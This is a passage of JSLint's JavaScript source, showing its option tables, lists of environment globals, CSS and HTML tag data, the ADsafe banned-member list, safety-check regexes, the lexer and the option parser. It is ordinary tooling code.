lightcoral, lightcyan, lightgoldenrodyellow, lightgreen, lightpink,
lightsalmon, lightseagreen, lightskyblue, lightslategray,
lightsteelblue, lightyellow, lime, limegreen, line, "line-height",
linen, link, "list-style", "list-style-image", "list-style-position",
"list-style-type", load, loadClass, location, log, m, magenta, map,
margin, "margin-bottom", "margin-left", "margin-right", "margin-top",
"marker-offset", maroon, match, "max-height", "max-width", md5, media,
mediumaquamarine, mediumblue, mediumorchid, mediumpurple,
mediumseagreen, mediumslateblue, mediumspringgreen, mediumturquoise,
mediumvioletred, menu, message, meta, midnightblue, "min-height",
"min-width", mintcream, mistyrose, mm, moccasin, moveBy, moveTo, name,
navajowhite, navigator, navy, new, newcap, noframes, nomen, noscript,
nud, object, ol, oldlace, olive, olivedrab, on, onblur, onerror, onevar,
onfocus, onload, onresize, onunload, opacity, open, openURL, opener,
opera, optgroup, option, orange, orangered, orchid, outer, outline,
"outline-color", "outline-style", "outline-width", overflow, p, padding,
"padding-bottom", "padding-left", "padding-right", "padding-top", page,
palegoldenrod, palegreen, paleturquoise, palevioletred, papayawhip,
param, parent, parseFloat, parseInt, passfail, pc, peachpuff, peru,
pink, play, plum, plusplus, pop, popupMenu, position, powderblue, pre,
predef, preferenceGroups, preferences, print, prompt, prototype, pt,
purple, push, px, q, quit, quotes, random, range, raw, reach, readFile,
readUrl, reason, red, regexp, reloadWidget, replace, report, reserved,
resizeBy, resizeTo, resolvePath, resumeUpdates, rhino, right, rosybrown,
royalblue, runCommand, runCommandInBg, saddlebrown, safe, salmon, samp,
sandybrown, saveAs, savePreferences, screen, script, scroll, scrollBy,
scrollTo, seagreen, seal, search, seashell, select, self, serialize,
setInterval, setTimeout, shift, showWidgetPreferences, sidebar, sienna,
silver, skyblue, slateblue, slategray, sleep, slice, small, snow, sort,
span, spawn, speak, split, springgreen, src, status, steelblue, strict,
strong, style, styleproperty, sub, substr, sup, supplant,
suppressUpdates, sync, system, table, "table-layout", tan, tbody, td,
teal, tellWidget, test, "text-align", "text-decoration", "text-indent",
"text-shadow", "text-transform", textarea, tfoot, th, thead, thistle,
title, toLowerCase, toString, toUpperCase, toint32, token, tomato, top,
tr, tt, turquoise, type, u, ul, undef, unescape, "unicode-bidi",
unwatch, updateNow, value, valueOf, var, version, "vertical-align",
violet, visibility, visited, watch, wheat, white, "white-space",
whitesmoke, widget, width, window, "word-spacing", yahooCheckLogin,
yahooLogin, yahooLogout, yellow, yellowgreen, "z-index"
*/
// We build the application inside a function so that we produce only a single
// global variable. The function will be invoked, its return value is the JSLINT
// application itself.
"use strict";
JSLINT = (function () {
var adsafe_id, // The widget's ADsafe id.
adsafe_may, // The widget may load approved scripts.
adsafe_went, // ADSAFE.go has been called.
anonname, // The guessed name for anonymous functions.
approved, // ADsafe approved urls.
atrule = {
'import' : true,
media : true,
'font-face': true,
page : true
},
badbreak = {
')': true,
']': true,
'++': true,
'--': true
},
// These are members that should not be permitted in third party ads.
banned = { // the member names that ADsafe prohibits.
apply : true,
'arguments' : true,
call : true,
callee : true,
caller : true,
constructor : true,
'eval' : true,
prototype : true,
unwatch : true,
valueOf : true,
watch : true
},
// These are the JSLint boolean options.
boolOptions = {
adsafe : true, // if ADsafe should be enforced
bitwise : true, // if bitwise operators should not be allowed
browser : true, // if the standard browser globals should be predefined
cap : true, // if upper case HTML should be allowed
css : true, // if CSS workarounds should be tolerated
debug : true, // if debugger statements should be allowed
eqeqeq : true, // if === should be required
evil : true, // if eval should be allowed
forin : true, // if for in statements must filter
fragment : true, // if HTML fragments should be allowed
immed : true, // if immediate invocations must be wrapped in parens
laxbreak : true, // if line breaks should not be checked
newcap : true, // if constructor names must be capitalized
nomen : true, // if names should be checked
on : true, // if HTML event handlers should be allowed
onevar : true, // if only one var statement per function should be allowed
passfail : true, // if the scan should stop on first error
plusplus : true, // if increment/decrement should not be allowed
regexp : true, // if the . should not be allowed in regexp literals
rhino : true, // if the Rhino environment globals should be predefined
undef : true, // if variables should be declared before used
safe : true, // if use of some browser features should be restricted
sidebar : true, // if the System object should be predefined
strict : true, // require the "use strict"; pragma
sub : true, // if all forms of subscript notation are tolerated
white : true, // if strict whitespace rules apply
widget : true // if the Yahoo Widgets globals should be predefined
},
// browser contains a set of global names which are commonly provided by a
// web browser environment.
browser = {
alert : true,
blur : true,
clearInterval : true,
clearTimeout : true,
close : true,
closed : true,
confirm : true,
console : true,
Debug : true,
defaultStatus : true,
document : true,
event : true,
focus : true,
frames : true,
getComputedStyle: true,
history : true,
Image : true,
length : true,
location : true,
moveBy : true,
moveTo : true,
name : true,
navigator : true,
onblur : true,
onerror : true,
onfocus : true,
onload : true,
onresize : true,
onunload : true,
open : true,
opener : true,
opera : true,
Option : true,
parent : true,
print : true,
prompt : true,
resizeBy : true,
resizeTo : true,
screen : true,
scroll : true,
scrollBy : true,
scrollTo : true,
self : true,
setInterval : true,
setTimeout : true,
status : true,
top : true,
window : true,
XMLHttpRequest : true
},
cssAttributeData,
cssAny,
cssColorData = {
"aliceblue": true,
"antiquewhite": true,
"aqua": true,
"aquamarine": true,
"azure": true,
"beige": true,
"bisque": true,
"black": true,
"blanchedalmond": true,
"blue": true,
"blueviolet": true,
"brown": true,
"burlywood": true,
"cadetblue": true,
"chartreuse": true,
"chocolate": true,
"coral": true,
"cornflowerblue": true,
"cornsilk": true,
"crimson": true,
"cyan": true,
"darkblue": true,
"darkcyan": true,
"darkgoldenrod": true,
"darkgray": true,
"darkgreen": true,
"darkkhaki": true,
"darkmagenta": true,
"darkolivegreen": true,
"darkorange": true,
"darkorchid": true,
"darkred": true,
"darksalmon": true,
"darkseagreen": true,
"darkslateblue": true,
"darkslategray": true,
"darkturquoise": true,
"darkviolet": true,
"deeppink": true,
"deepskyblue": true,
"dimgray": true,
"dodgerblue": true,
"firebrick": true,
"floralwhite": true,
"forestgreen": true,
"fuchsia": true,
"gainsboro": true,
"ghostwhite": true,
"gold": true,
"goldenrod": true,
"gray": true,
"green": true,
"greenyellow": true,
"honeydew": true,
"hotpink": true,
"indianred": true,
"indigo": true,
"ivory": true,
"khaki": true,
"lavender": true,
"lavenderblush": true,
"lawngreen": true,
"lemonchiffon": true,
"lightblue": true,
"lightcoral": true,
"lightcyan": true,
"lightgoldenrodyellow": true,
"lightgreen": true,
"lightpink": true,
"lightsalmon": true,
"lightseagreen": true,
"lightskyblue": true,
"lightslategray": true,
"lightsteelblue": true,
"lightyellow": true,
"lime": true,
"limegreen": true,
"linen": true,
"magenta": true,
"maroon": true,
"mediumaquamarine": true,
"mediumblue": true,
"mediumorchid": true,
"mediumpurple": true,
"mediumseagreen": true,
"mediumslateblue": true,
"mediumspringgreen": true,
"mediumturquoise": true,
"mediumvioletred": true,
"midnightblue": true,
"mintcream": true,
"mistyrose": true,
"moccasin": true,
"navajowhite": true,
"navy": true,
"oldlace": true,
"olive": true,
"olivedrab": true,
"orange": true,
"orangered": true,
"orchid": true,
"palegoldenrod": true,
"palegreen": true,
"paleturquoise": true,
"palevioletred": true,
"papayawhip": true,
"peachpuff": true,
"peru": true,
"pink": true,
"plum": true,
"powderblue": true,
"purple": true,
"red": true,
"rosybrown": true,
"royalblue": true,
"saddlebrown": true,
"salmon": true,
"sandybrown": true,
"seagreen": true,
"seashell": true,
"sienna": true,
"silver": true,
"skyblue": true,
"slateblue": true,
"slategray": true,
"snow": true,
"springgreen": true,
"steelblue": true,
"tan": true,
"teal": true,
"thistle": true,
"tomato": true,
"turquoise": true,
"violet": true,
"wheat": true,
"white": true,
"whitesmoke": true,
"yellow": true,
"yellowgreen": true
},
cssBorderStyle,
cssLengthData = {
'%': true,
'cm': true,
'em': true,
'ex': true,
'in': true,
'mm': true,
'pc': true,
'pt': true,
'px': true
},
escapes = {
'\b': '\\b',
'\t': '\\t',
'\n': '\\n',
'\f': '\\f',
'\r': '\\r',
'"' : '\\"',
'/' : '\\/',
'\\': '\\\\'
},
funct, // The current function
functions, // All of the functions
global, // The global scope
htmltag = {
a: {},
abbr: {},
acronym: {},
address: {},
applet: {},
area: {empty: true, parent: ' map '},
b: {},
base: {empty: true, parent: ' head '},
bdo: {},
big: {},
blockquote: {},
body: {parent: ' html noframes '},
br: {empty: true},
button: {},
canvas: {parent: ' body p div th td '},
caption: {parent: ' table '},
center: {},
cite: {},
code: {},
col: {empty: true, parent: ' table colgroup '},
colgroup: {parent: ' table '},
dd: {parent: ' dl '},
del: {},
dfn: {},
dir: {},
div: {},
dl: {},
dt: {parent: ' dl '},
em: {},
embed: {},
fieldset: {},
font: {},
form: {},
frame: {empty: true, parent: ' frameset '},
frameset: {parent: ' html frameset '},
h1: {},
h2: {},
h3: {},
h4: {},
h5: {},
h6: {},
head: {parent: ' html '},
html: {parent: '*'},
hr: {empty: true},
i: {},
iframe: {},
img: {empty: true},
input: {empty: true},
ins: {},
kbd: {},
label: {},
legend: {parent: ' fieldset '},
li: {parent: ' dir menu ol ul '},
link: {empty: true, parent: ' head '},
map: {},
menu: {},
meta: {empty: true, parent: ' head noframes noscript '},
noframes: {parent: ' html body '},
noscript: {parent: ' body head noframes '},
object: {},
ol: {},
optgroup: {parent: ' select '},
option: {parent: ' optgroup select '},
p: {},
param: {empty: true, parent: ' applet object '},
pre: {},
q: {},
samp: {},
script: {empty: true, parent: ' body div frame head iframe p pre span '},
select: {},
small: {},
span: {},
strong: {},
style: {parent: ' head ', empty: true},
sub: {},
sup: {},
table: {},
tbody: {parent: ' table '},
td: {parent: ' tr '},
textarea: {},
tfoot: {parent: ' table '},
th: {parent: ' tr '},
thead: {parent: ' table '},
title: {parent: ' head '},
tr: {parent: ' table tbody thead tfoot '},
tt: {},
u: {},
ul: {},
'var': {}
},
ids, // HTML ids
implied, // Implied globals
inblock,
indent,
jsonmode,
lines,
lookahead,
member,
membersOnly,
nexttoken,
noreach,
option,
predefined, // Global variables defined by option
prereg,
prevtoken,
pseudorule = {
'first-child': true,
link : true,
visited : true,
hover : true,
active : true,
focus : true,
lang : true,
'first-letter' : true,
'first-line' : true,
before : true,
after : true
},
rhino = {
defineClass : true,
deserialize : true,
gc : true,
help : true,
load : true,
loadClass : true,
print : true,
quit : true,
readFile : true,
readUrl : true,
runCommand : true,
seal : true,
serialize : true,
spawn : true,
sync : true,
toint32 : true,
version : true
},
scope, // The current scope
sidebar = {
System : true
},
src,
stack,
// standard contains the global names that are provided by the
// ECMAScript standard.
standard = {
Array : true,
Boolean : true,
Date : true,
decodeURI : true,
decodeURIComponent : true,
encodeURI : true,
encodeURIComponent : true,
Error : true,
'eval' : true,
EvalError : true,
Function : true,
isFinite : true,
isNaN : true,
JSON : true,
Math : true,
Number : true,
Object : true,
parseInt : true,
parseFloat : true,
RangeError : true,
ReferenceError : true,
RegExp : true,
String : true,
SyntaxError : true,
TypeError : true,
URIError : true
},
standard_member = {
E : true,
LN2 : true,
LN10 : true,
LOG2E : true,
LOG10E : true,
PI : true,
SQRT1_2 : true,
SQRT2 : true,
MAX_VALUE : true,
MIN_VALUE : true,
NEGATIVE_INFINITY : true,
POSITIVE_INFINITY : true
},
syntax = {},
tab,
token,
urls,
warnings,
// widget contains the global names which are provided to a Yahoo
// (fna Konfabulator) widget.
widget = {
alert : true,
animator : true,
appleScript : true,
beep : true,
bytesToUIString : true,
Canvas : true,
chooseColor : true,
chooseFile : true,
chooseFolder : true,
closeWidget : true,
COM : true,
convertPathToHFS : true,
convertPathToPlatform : true,
CustomAnimation : true,
escape : true,
FadeAnimation : true,
filesystem : true,
Flash : true,
focusWidget : true,
form : true,
FormField : true,
Frame : true,
HotKey : true,
Image : true,
include : true,
isApplicationRunning : true,
iTunes : true,
konfabulatorVersion : true,
log : true,
md5 : true,
MenuItem : true,
MoveAnimation : true,
openURL : true,
play : true,
Point : true,
popupMenu : true,
preferenceGroups : true,
preferences : true,
print : true,
prompt : true,
random : true,
Rectangle : true,
reloadWidget : true,
ResizeAnimation : true,
resolvePath : true,
resumeUpdates : true,
RotateAnimation : true,
runCommand : true,
runCommandInBg : true,
saveAs : true,
savePreferences : true,
screen : true,
ScrollBar : true,
showWidgetPreferences : true,
sleep : true,
speak : true,
Style : true,
suppressUpdates : true,
system : true,
tellWidget : true,
Text : true,
TextArea : true,
Timer : true,
unescape : true,
updateNow : true,
URL : true,
Web : true,
widget : true,
Window : true,
XMLDOM : true,
XMLHttpRequest : true,
yahooCheckLogin : true,
yahooLogin : true,
yahooLogout : true
},
// xmode is used to adapt to the exceptions in html parsing.
// It can have these states:
// false .js script file
// html
// outer
// script
// style
// scriptstring
// styleproperty
xmode,
xquote,
// unsafe comment or string
ax = /@cc|<\/?|script|\]*s\]|<\s*!|</i,
// unsafe characters that are silently deleted by one or more browsers
cx = /[\u0000-\u001f\u007f-\u009f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/,
// token
tx = /^\s*([(){}\[.,:;'"~\?\]#@]|==?=?|\/(\*(global|extern|jslint|member|members)?|=|\/)?|\*[\/=]?|\+[+=]?|-[\-=]?|%=?|&[&=]?|\|[|=]?|>>?>?=?|<([\/=!]|\!(\[|--)?|<=?)?|\^=?|\!=?=?|[a-zA-Z_$][a-zA-Z0-9_$]*|[0-9]+([xX][0-9a-fA-F]+|\.[0-9]*)?([eE][+\-]?[0-9]+)?)/,
// html token
hx = /^\s*(['"=>\/&#]|<(?:\/|\!(?:--)?)?|[a-zA-Z][a-zA-Z0-9_\-]*|[0-9]+|--|.)/,
// outer html token
ox = /[>&]|<[\/!]?|--/,
// star slash
lx = /\*\/|\/\*/,
// identifier
ix = /^([a-zA-Z_$][a-zA-Z0-9_$]*)$/,
// javascript url
jx = /^(?:javascript|jscript|ecmascript|vbscript|mocha|livescript)\s*:/i,
// url badness
ux = /&|\+|\u00AD|\.\.|\/\*|%[^;]|base64|url|expression|data|mailto/i,
// style
sx = /^\s*([{:#*%.=,>+\[\]@()"';*]|[a-zA-Z0-9_][a-zA-Z0-9_\-]*|<\/|\/\*)/,
ssx = /^\s*([@#!"'};:\-\/%.=,+\[\]()*_]|[a-zA-Z][a-zA-Z0-9._\-]*|\d+(?:\.\d+)?|<\/)/,
// query characters
qx = /[\[\]\/\\"'*<>.&:(){}+=#_]/,
// query characters for ids
dx = /[\[\]\/\\"'*<>.&:(){}+=#]/,
rx = {
outer: hx,
html: hx,
style: sx,
styleproperty: ssx
};
function F() {}
if (typeof Object.create !== 'function') {
Object.create = function (o) {
F.prototype = o;
return new F();
};
}
function combine(t, o) {
var n;
for (n in o) {
if (o.hasOwnProperty(n)) {
t[n] = o[n];
}
}
}
String.prototype.entityify = function () {
return this.
replace(/&/g, '&').
replace(/</g, '<').
replace(/>/g, '>');
};
String.prototype.isAlpha = function () {
return (this >= 'a' && this <= 'z\uffff') ||
(this >= 'A' && this <= 'Z\uffff');
};
String.prototype.isDigit = function () {
return (this >= '0' && this <= '9');
};
String.prototype.supplant = function (o) {
return this.replace(/\{([^{}]*)\}/g, function (a, b) {
var r = o[b];
return typeof r === 'string' || typeof r === 'number' ? r : a;
});
};
String.prototype.name = function () {
// If the string looks like an identifier, then we can return it as is.
// If the string contains no control characters, no quote characters, and no
// backslash characters, then we can simply slap some quotes around it.
// Otherwise we must also replace the offending characters with safe
// sequences.
if (ix.test(this)) {
return this;
}
if (/[&<"\/\\\x00-\x1f]/.test(this)) {
return '"' + this.replace(/[&<"\/\\\x00-\x1f]/g, function (a) {
var c = escapes[a];
if (c) {
return c;
}
c = a.charCodeAt();
return '\\u00' +
Math.floor(c / 16).toString(16) +
(c % 16).toString(16);
}) + '"';
}
return '"' + this + '"';
};
function assume() {
if (!option.safe) {
if (option.rhino) {
combine(predefined, rhino);
}
if (option.browser || option.sidebar) {
combine(predefined, browser);
}
if (option.sidebar) {
combine(predefined, sidebar);
}
if (option.widget) {
combine(predefined, widget);
}
}
}
// Produce an error warning.
function quit(m, l, ch) {
throw {
name: 'JSLintError',
line: l,
character: ch,
message: m + " (" + Math.floor((l / lines.length) * 100) +
"% scanned)."
};
}
function warning(m, t, a, b, c, d) {
var ch, l, w;
t = t || nexttoken;
if (t.id === '(end)') { // `~
t = token;
}
l = t.line || 0;
ch = t.from || 0;
w = {
id: '(error)',
raw: m,
evidence: lines[l] || '',
line: l,
character: ch,
a: a,
b: b,
c: c,
d: d
};
w.reason = m.supplant(w);
JSLINT.errors.push(w);
if (option.passfail) {
quit('Stopping. ', l, ch);
}
warnings += 1;
if (warnings === 50) {
quit("Too many errors.", l, ch);
}
return w;
}
function warningAt(m, l, ch, a, b, c, d) {
return warning(m, {
line: l,
from: ch
}, a, b, c, d);
}
function error(m, t, a, b, c, d) {
var w = warning(m, t, a, b, c, d);
quit("Stopping, unable to continue.", w.line, w.character);
}
function errorAt(m, l, ch, a, b, c, d) {
return error(m, {
line: l,
from: ch
}, a, b, c, d);
}
// lexical analysis
var lex = (function lex() {
var character, from, line, s;
// Private lex methods
function nextLine() {
var at;
line += 1;
if (line >= lines.length) {
return false;
}
character = 0;
s = lines[line].replace(/\t/g, tab);
at = s.search(cx);
if (at >= 0) {
warningAt("Unsafe character.", line, at);
}
return true;
}
// Produce a token object. The token inherits from a syntax symbol.
function it(type, value) {
var i, t;
if (type === '(color)') {
t = {type: type};
} else if (type === '(punctuator)' ||
(type === '(identifier)' && syntax.hasOwnProperty(value))) {
t = syntax[value] || syntax['(error)'];
// Mozilla bug workaround.
if (!t.id) {
t = syntax[type];
}
} else {
t = syntax[type];
}
t = Object.create(t);
if (type === '(string)' || type === '(range)') {
if (jx.test(value)) {
warningAt("Script URL.", line, from);
}
}
if (type === '(identifier)') {
t.identifier = true;
if (option.nomen && value.charAt(0) === '_') {
warningAt("Unexpected '_' in '{a}'.", line, from, value);
}
}
t.value = value;
t.line = line;
t.character = character;
t.from = from;
i = t.id;
if (i !== '(endline)') {
prereg = i &&
(('(,=:[!&|?{};'.indexOf(i.charAt(i.length - 1)) >= 0) ||
i === 'return');
}
return t;
}
// Public lex methods
return {
init: function (source) {
if (typeof source === 'string') {
lines = source.
replace(/\r\n/g, '\n').
replace(/\r/g, '\n').
split('\n');
} else {
lines = source;
}
line = -1;
nextLine();
from = 0;
},
range: function (begin, end) {
var c, value = '';
from = character;
if (s.charAt(0) !== begin) {
errorAt("Expected '{a}' and instead saw '{b}'.",
line, character, begin, s.charAt(0));
}
for (;;) {
s = s.slice(1);
character += 1;
c = s.charAt(0);
switch (c) {
case '':
errorAt("Missing '{a}'.", line, character, c);
break;
case end:
s = s.slice(1);
character += 1;
return it('(range)', value);
case xquote:
case '\\':
case '\'':
case '"':
warningAt("Unexpected '{a}'.", line, character, c);
}
value += c;
}
},
// token -- this is called by advance to get the next token.
token: function () {
var b, c, captures, d, depth, high, i, l, low, q, t;
function match(x) {
var r = x.exec(s), r1;
if (r) {
l = r[0].length;
r1 = r[1];
c = r1.charAt(0);
s = s.substr(l);
character += l;
from = character - r1.length;
return r1;
}
}
function string(x) {
var c, j, r = '';
if (jsonmode && x !== '"') {
warningAt("Strings must use doublequote.",
line, character);
}
if (xquote === x || (xmode === 'scriptstring' && !xquote)) {
return it('(punctuator)', x);
}
function esc(n) {
var i = parseInt(s.substr(j + 1, n), 16);
j += n;
if (i >= 32 && i <= 126 &&
i !== 34 && i !== 92 && i !== 39) {
warningAt("Unnecessary escapement.", line, character);
}
character += n;
c = String.fromCharCode(i);
}
j = 0;
for (;;) {
while (j >= s.length) {
j = 0;
if (xmode !== 'html' || !nextLine()) {
errorAt("Unclosed string.", line, from);
}
}
c = s.charAt(j);
if (c === x) {
character += 1;
s = s.substr(j + 1);
return it('(string)', r, x);
}
if (c < ' ') {
if (c === '\n' || c === '\r') {
break;
}
warningAt("Control character in string: {a}.",
line, character + j, s.slice(0, j));
} else if (c === xquote) {
warningAt("Bad HTML string", line, character + j);
} else if (c === '<') {
if (option.safe && xmode === 'html') {
warningAt("ADsafe string violation.",
line, character + j);
} else if (s.charAt(j + 1) === '/' && (xmode || option.safe)) {
warningAt("Expected '<\\/' and instead saw '</'.", line, character);
} else if (s.charAt(j + 1) === '!' && (xmode || option.safe)) {
warningAt("Unexpected '<!' in a string.", line, character);
}
} else if (c === '\\') {
if (xmode === 'html') {
if (option.safe) {
warningAt("ADsafe string violation.",
line, character + j);
}
} else if (xmode === 'styleproperty') {
j += 1;
character += 1;
c = s.charAt(j);
if (c !== x) {
warningAt("Escapement in style string.",
line, character + j);
}
} else {
j += 1;
character += 1;
c = s.charAt(j);
switch (c) {
case xquote:
warningAt("Bad HTML string", line,
character + j);
break;
case '\\':
case '\'':
case '"':
case '/':
break;
case 'b':
c = '\b';
break;
case 'f':
c = '\f';
break;
case 'n':
c = '\n';
break;
case 'r':
c = '\r';
break;
case 't':
c = '\t';
break;
case 'u':
esc(4);
break;
case 'v':
c = '\v';
break;
case 'x':
if (jsonmode) {
warningAt("Avoid \\x-.", line, character);
}
esc(2);
break;
default:
warningAt("Bad escapement.", line, character);
}
}
}
r += c;
character += 1;
j += 1;
}
}
for (;;) {
if (!s) {
return it(nextLine() ? '(endline)' : '(end)', '');
}
while (xmode === 'outer') {
i = s.search(ox);
if (i === 0) {
break;
} else if (i > 0) {
character += 1;
s = s.slice(i);
break;
} else {
if (!nextLine()) {
return it('(end)', '');
}
}
}
t = match(rx[xmode] || tx);
if (!t) {
if (xmode === 'html') {
return it('(error)', s.charAt(0));
} else {
t = '';
c = '';
while (s && s < '!') {
s = s.substr(1);
}
if (s) {
errorAt("Unexpected '{a}'.",
line, character, s.substr(0, 1));
}
}
} else {
// identifier
if (c.isAlpha() || c === '_' || c === '$') {
return it('(identifier)', t);
}
// number
if (c.isDigit()) {
if (xmode !== 'style' && !isFinite(Number(t))) {
warningAt("Bad number '{a}'.",
line, character, t);
}
if (xmode !== 'styleproperty' && s.substr(0, 1).isAlpha()) {
warningAt("Missing space after '{a}'.",
line, character, t);
}
if (c === '0') {
d = t.substr(1, 1);
if (d.isDigit()) {
if (token.id !== '.' && xmode !== 'styleproperty') {
warningAt("Don't use extra leading zeros '{a}'.",
line, character, t);
}
} else if (jsonmode && (d === 'x' || d === 'X')) {
warningAt("Avoid 0x-. '{a}'.",
line, character, t);
}
}
if (t.substr(t.length - 1) === '.') {
warningAt(
"A trailing decimal point can be confused with a dot '{a}'.",
line, character, t);
}
return it('(number)', t);
}
switch (t) {
// string
case '"':
case "'":
return string(t);
// // comment
case '//':
if (src || (xmode && xmode !== 'script')) {
warningAt("Unexpected comment.", line, character);
} else if (xmode === 'script' && /<\s*\//i.test(s)) {
warningAt("Unexpected <\/ in comment.", line, character);
} else if ((option.safe || xmode === 'script') && ax.test(s)) {
warningAt("Dangerous comment.", line, character);
}
s = '';
token.comment = true;
break;
// /* comment
case '/*':
if (src || (xmode && xmode !== 'script' && xmode !== 'style' && xmode !== 'styleproperty')) {
warningAt("Unexpected comment.", line, character);
}
if (option.safe && ax.test(s)) {
warningAt("ADsafe comment violation.", line, character);
}
for (;;) {
i = s.search(lx);
if (i >= 0) {
break;
}
if (!nextLine()) {
errorAt("Unclosed comment.", line, character);
} else {
if (option.safe && ax.test(s)) {
warningAt("ADsafe comment violation.", line, character);
}
}
}
character += i + 2;
if (s.substr(i, 1) === '/') {
errorAt("Nested comment.", line, character);
}
s = s.substr(i + 2);
token.comment = true;
break;
// /*global /*extern /*members /*jslint */
case '/*global':
case '/*extern':
case '/*members':
case '/*member':
case '/*jslint':
case '*/':
return {
value: t,
type: 'special',
line: line,
character: character,
from: from
};
case '':
break;
// /
case '/':
if (prereg) {
depth = 0;
captures = 0;
l = 0;
for (;;) {
b = true;
c = s.charAt(l);
l += 1;
switch (c) {
case '':
errorAt("Unclosed regular expression.", line, from);
return;
case '/':
if (depth > 0) {
warningAt("Unescaped '{a}'.", line, from + l, '/');
}
c = s.substr(0, l - 1);
q = {
g: true,
i: true,
m: true
};
while (q[s.charAt(l)] === true) {
q[s.charAt(l)] = false;
l += 1;
}
character += l;
s = s.substr(l);
return it('(regexp)', c);
case '\\':
c = s.charAt(l);
if (c < ' ') {
warningAt("Unexpected control character in regular expression.", line, from + l);
} else if (c === '<') {
warningAt("Unexpected escaped character '{a}' in regular expression.", line, from + l, c);
}
l += 1;
break;
case '(':
depth += 1;
b = false;
if (s.charAt(l) === '?') {
l += 1;
switch (s.charAt(l)) {
case ':':
case '=':
case '!':
l += 1;
break;
default:
warningAt("Expected '{a}' and instead saw '{b}'.", line, from + l, ':', s.charAt(l));
}
} else {
captures += 1;
}
break;
case ')':
if (depth === 0) {
warningAt("Unescaped '{a}'.", line, from + l, ')');
} else {
depth -= 1;
}
break;
case ' ':
q = 1;
while (s.charAt(l) === ' ') {
l += 1;
q += 1;
}
if (q > 1) {
warningAt("Spaces are hard to count. Use {{a}}.", line, from + l, q);
}
break;
case '[':
if (s.charAt(l) === '^') {
l += 1;
}
q = false;
klass: do {
c = s.charAt(l);
l += 1;
switch (c) {
case '[':
case '^':
warningAt("Unescaped '{a}'.", line, from + l, c);
q = true;
break;
case '-':
if (q) {
q = false;
} else {
warningAt("Unescaped '{a}'.", line, from + l, '-');
q = true;
}
break;
case ']':
if (!q) {
warningAt("Unescaped '{a}'.", line, from + l - 1, '-');
}
break klass;
case '\\':
c = s.charAt(l);
if (c < ' ') {
warningAt("Unexpected control character in regular expression.", line, from + l);
} else if (c === '<') {
warningAt("Unexpected escaped character '{a}' in regular expression.", line, from + l, c);
}
l += 1;
q = true;
break;
case '/':
warningAt("Unescaped '{a}'.", line, from + l - 1, '/');
q = true;
break;
case '<':
if (xmode === 'script') {
c = s.charAt(l);
if (c === '!' || c === '/') {
warningAt("HTML confusion in regular expression '<{a}'.", line, from + l, c);
}
}
q = true;
break;
default:
q = true;
}
} while (c);
break;
case '.':
if (option.regexp) {
warningAt("Unexpected '{a}'.", line, from + l, c);
}
break;
case ']':
case '?':
case '{':
case '}':
case '+':
case '*':
warningAt("Unescaped '{a}'.", line, from + l, c);
break;
case '<':
if (xmode === 'script') {
c = s.charAt(l);
if (c === '!' || c === '/') {
warningAt("HTML confusion in regular expression '<{a}'.", line, from + l, c);
}
}
}
if (b) {
switch (s.charAt(l)) {
case '?':
case '+':
case '*':
l += 1;
if (s.charAt(l) === '?') {
l += 1;
}
break;
case '{':
l += 1;
c = s.charAt(l);
if (c < '0' || c > '9') {
warningAt("Expected a number and instead saw '{a}'.", line, from + l, c);
}
l += 1;
low = +c;
for (;;) {
c = s.charAt(l);
if (c < '0' || c > '9') {
break;
}
l += 1;
low = +c + (low * 10);
}
high = low;
if (c === ',') {
l += 1;
high = Infinity;
c = s.charAt(l);
if (c >= '0' && c <= '9') {
l += 1;
high = +c;
for (;;) {
c = s.charAt(l);
if (c < '0' || c > '9') {
break;
}
l += 1;
high = +c + (high * 10);
}
}
}
if (s.charAt(l) !== '}') {
warningAt("Expected '{a}' and instead saw '{b}'.", line, from + l, '}', c);
} else {
l += 1;
}
if (s.charAt(l) === '?') {
l += 1;
}
if (low > high) {
warningAt("'{a}' should not be greater than '{b}'.", line, from + l, low, high);
}
}
}
}
c = s.substr(0, l - 1);
character += l;
s = s.substr(l);
return it('(regexp)', c);
}
return it('(punctuator)', t);
// punctuator
case '#':
if (xmode === 'html' || xmode === 'styleproperty') {
for (;;) {
c = s.charAt(0);
if ((c < '0' || c > '9') &&
(c < 'a' || c > 'f') &&
(c < 'A' || c > 'F')) {
break;
}
character += 1;
s = s.substr(1);
t += c;
}
if (t.length !== 4 && t.length !== 7) {
warningAt("Bad hex color '{a}'.", line,
from + l, t);
}
return it('(color)', t);
}
return it('(punctuator)', t);
default:
if (xmode === 'outer' && c === '&') {
character += 1;
s = s.substr(1);
for (;;) {
c = s.charAt(0);
character += 1;
s = s.substr(1);
if (c === ';') {
break;
}
if (!((c >= '0' && c <= '9') ||
(c >= 'a' && c <= 'z') ||
c === '#')) {
errorAt("Bad entity", line, from + l,
character);
}
}
break;
}
return it('(punctuator)', t);
}
}
}
}
};
}());
function addlabel(t, type) {
if (t === 'hasOwnProperty') {
error("'hasOwnProperty' is a really bad name.");
}
if (option.safe && funct['(global)']) {
warning('ADsafe global: ' + t + '.', token);
}
// Define t in the current function in the current scope.
if (funct.hasOwnProperty(t)) {
warning(funct[t] === true ?
"'{a}' was used before it was defined." :
"'{a}' is already defined.",
nexttoken, t);
}
funct[t] = type;
if (type === 'label') {
scope[t] = funct;
} else if (funct['(global)']) {
global[t] = funct;
if (implied.hasOwnProperty(t)) {
warning("'{a}' was used before it was defined.", nexttoken, t);
delete implied[t];
}
} else {
funct['(scope)'][t] = funct;
}
}
function doOption() {
var b, obj, filter, o = nexttoken.value, t, v;
switch (o) {
case '*/':
error("Unbegun comment.");
break;
case '/*global':
case '/*extern':
if (option.safe) {
warning("ADsafe restriction.");
}
obj = predefined;
break;
case '/*members':
case '/*member':
o = '/*members';
if (!membersOnly) {
membersOnly = {};
}
obj = membersOnly;
break;
case '/*jslint':
if (option.safe) {
warning("ADsafe restriction.");
}
obj = option;
filter = boolOptions;
}
for (;;) {
t = lex.token();
if (t.id === ',') {
t = lex.token();
}
while (t.id === '(endline)') {
t = lex.token();
}
if (t.type === 'special' && t.value === '*/') {
break;
}
if (t.type !== '(string)' && t.type !== '(identifier)' &&
o !== '/*members') {
error("Bad option.", t);
}
if (filter) {
if (filter[t.value] !== true) {
error("Bad option.", t);
}
v = lex.token();
if (v.id !== ':') {
error("Expected '{a}' and instead saw '{b}'.",
t, ':', t.value);
}
v = lex.token();
if (v.value === 'true') {
b = true;
} else if (v.value === 'false') {
b = false;
} else {
error("Expected '{a}' and instead saw '{b}'.",
t, 'true', t.value);
}
} else {
b = true;
}
obj[t.value] = b;
}
if (filter) {
assume();
}
}
